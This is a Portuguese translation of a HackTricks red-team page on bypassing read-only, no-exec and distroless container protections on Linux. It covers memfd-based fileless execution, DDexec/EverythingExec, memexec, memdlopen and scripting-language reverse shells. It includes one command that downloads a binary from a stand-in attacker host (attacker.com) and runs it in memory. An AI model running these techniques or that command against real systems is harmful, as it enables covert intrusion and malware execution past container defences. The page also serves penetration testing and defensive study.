11 KiB
Bypassar proteções do sistema de arquivos: somente leitura / sem execução / Distroless
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e repositório hacktricks-cloud.
Vídeos
Nos seguintes vídeos, você pode encontrar as técnicas mencionadas nesta página explicadas com mais detalhes:
- DEF CON 31 - Explorando a Manipulação de Memória do Linux para Furtividade e Evasão
- Intrusões furtivas com DDexec-ng e dlopen() em memória - HackTricks Track 2023
Cenário de somente leitura / sem execução
É cada vez mais comum encontrar máquinas Linux montadas com a proteção de sistema de arquivos em somente leitura (ro), especialmente em contêineres. Isso ocorre porque executar um contêiner com sistema de arquivos somente leitura é tão fácil quanto definir readOnlyRootFilesystem: true
no securitycontext
:
apiVersion: v1
kind: Pod
metadata:
name: alpine-pod
spec:
containers:
- name: alpine
image: alpine
securityContext:
readOnlyRootFilesystem: true
command: ["sh", "-c", "while true; do sleep 1000; done"]
No entanto, mesmo que o sistema de arquivos esteja montado como somente leitura, /dev/shm
ainda será gravável, então é falso que não podemos escrever nada no disco. No entanto, esta pasta será montada com proteção sem execução, portanto, se você baixar um binário aqui, não poderá executá-lo.
{% hint style="warning" %}
Do ponto de vista de um red team, isso torna complicado baixar e executar binários que não estão no sistema (como backdoors ou enumeradores como kubectl
).
{% endhint %}
Bypass mais fácil: Scripts
Observe que mencionei binários, você pode executar qualquer script desde que o interpretador esteja dentro da máquina, como um script de shell se sh
estiver presente ou um script python se o python
estiver instalado.
No entanto, isso não é suficiente para executar seu backdoor binário ou outras ferramentas binárias que você possa precisar executar.
Bypasses de Memória
Se você deseja executar um binário, mas o sistema de arquivos não permite isso, a melhor maneira de fazer isso é executá-lo a partir da memória, pois as proteções não se aplicam lá.
Bypass de chamada de sistema FD + exec
Se você tiver alguns mecanismos de script poderosos dentro da máquina, como Python, Perl ou Ruby, poderá baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (create_memfd
syscall), que não será protegido por essas proteções e, em seguida, chamar uma chamada de sistema exec
indicando o fd como o arquivo a ser executado.
Para isso, você pode usar facilmente o projeto fileless-elf-exec. Você pode passar a ele um binário e ele irá gerar um script na linguagem indicada com o binário comprimido e codificado em b64 com as instruções para decodificar e descomprimir em um fd criado chamando a syscall create_memfd
e uma chamada à syscall exec para executá-lo.
{% hint style="warning" %}
Isso não funciona em outras linguagens de script como PHP ou Node porque eles não têm uma maneira padrão de chamar chamadas de sistema brutas de um script, portanto, não é possível chamar create_memfd
para criar o fd de memória para armazenar o binário.
Além disso, criar um fd regular com um arquivo em /dev/shm
não funcionará, pois você não terá permissão para executá-lo devido à proteção sem execução.
{% endhint %}
DDexec / EverythingExec
DDexec / EverythingExec é uma técnica que permite modificar a memória do próprio processo sobrescrevendo seu /proc/self/mem
.
Portanto, controlando o código assembly que está sendo executado pelo processo, você pode escrever um shellcode e "mutar" o processo para executar qualquer código arbitrário.
{% hint style="success" %} DDexec / EverythingExec permitirá que você carregue e execute seu próprio shellcode ou qualquer binário da memória. {% endhint %}
# Basic example
wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar
Para obter mais informações sobre essa técnica, verifique o Github ou:
{% content-ref url="ddexec.md" %} ddexec.md {% endcontent-ref %}
MemExec
Memexec é o próximo passo natural do DDexec. É um shellcode demonizado do DDexec, então toda vez que você quiser executar um binário diferente, não precisa reiniciar o DDexec, você pode simplesmente executar o shellcode memexec via técnica DDexec e, em seguida, comunicar-se com esse demônio para passar novos binários para carregar e executar.
Você pode encontrar um exemplo de como usar o memexec para executar binários a partir de um shell reverso PHP em https://github.com/arget13/memexec/blob/main/a.php.
Memdlopen
Com um propósito semelhante ao DDexec, a técnica memdlopen permite uma maneira mais fácil de carregar binários na memória para executá-los posteriormente. Isso pode permitir até mesmo carregar binários com dependências.
Bypass Distroless
O que é distroless
Contêineres distroless contêm apenas os componentes mínimos necessários para executar um aplicativo ou serviço específico, como bibliotecas e dependências de tempo de execução, mas excluem componentes maiores como um gerenciador de pacotes, shell ou utilitários do sistema.
O objetivo dos contêineres distroless é reduzir a superfície de ataque dos contêineres eliminando componentes desnecessários e minimizando o número de vulnerabilidades que podem ser exploradas.
Shell Reverso
Em um contêiner distroless, você pode nem mesmo encontrar sh
ou bash
para obter um shell regular. Você também não encontrará binários como ls
, whoami
, id
... tudo o que você costuma executar em um sistema.
{% hint style="warning" %} Portanto, você não poderá obter um shell reverso ou enumerar o sistema como costuma fazer. {% endhint %}
No entanto, se o contêiner comprometido estiver executando, por exemplo, um aplicativo web Flask, o Python estará instalado e, portanto, você pode obter um shell reverso do Python. Se estiver executando o Node, você pode obter um shell reverso do Node, e o mesmo com a maioria das linguagens de script.
{% hint style="success" %} Usando a linguagem de script, você pode enumerar o sistema usando as capacidades da linguagem. {% endhint %}
Se não houver proteções de somente leitura/sem execução
, você pode abusar do seu shell reverso para gravar no sistema de arquivos seus binários e executá-los.
{% hint style="success" %} No entanto, nesse tipo de contêineres, essas proteções geralmente existirão, mas você pode usar as técnicas de execução de memória anteriores para contorná-las. {% endhint %}
Você pode encontrar exemplos de como explorar algumas vulnerabilidades de RCE para obter shells reversos de linguagens de script e executar binários da memória em https://github.com/carlospolop/DistrolessRCE.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de cibersegurança? Você quer ver sua empresa anunciada no HackTricks? ou você quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Verifique os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.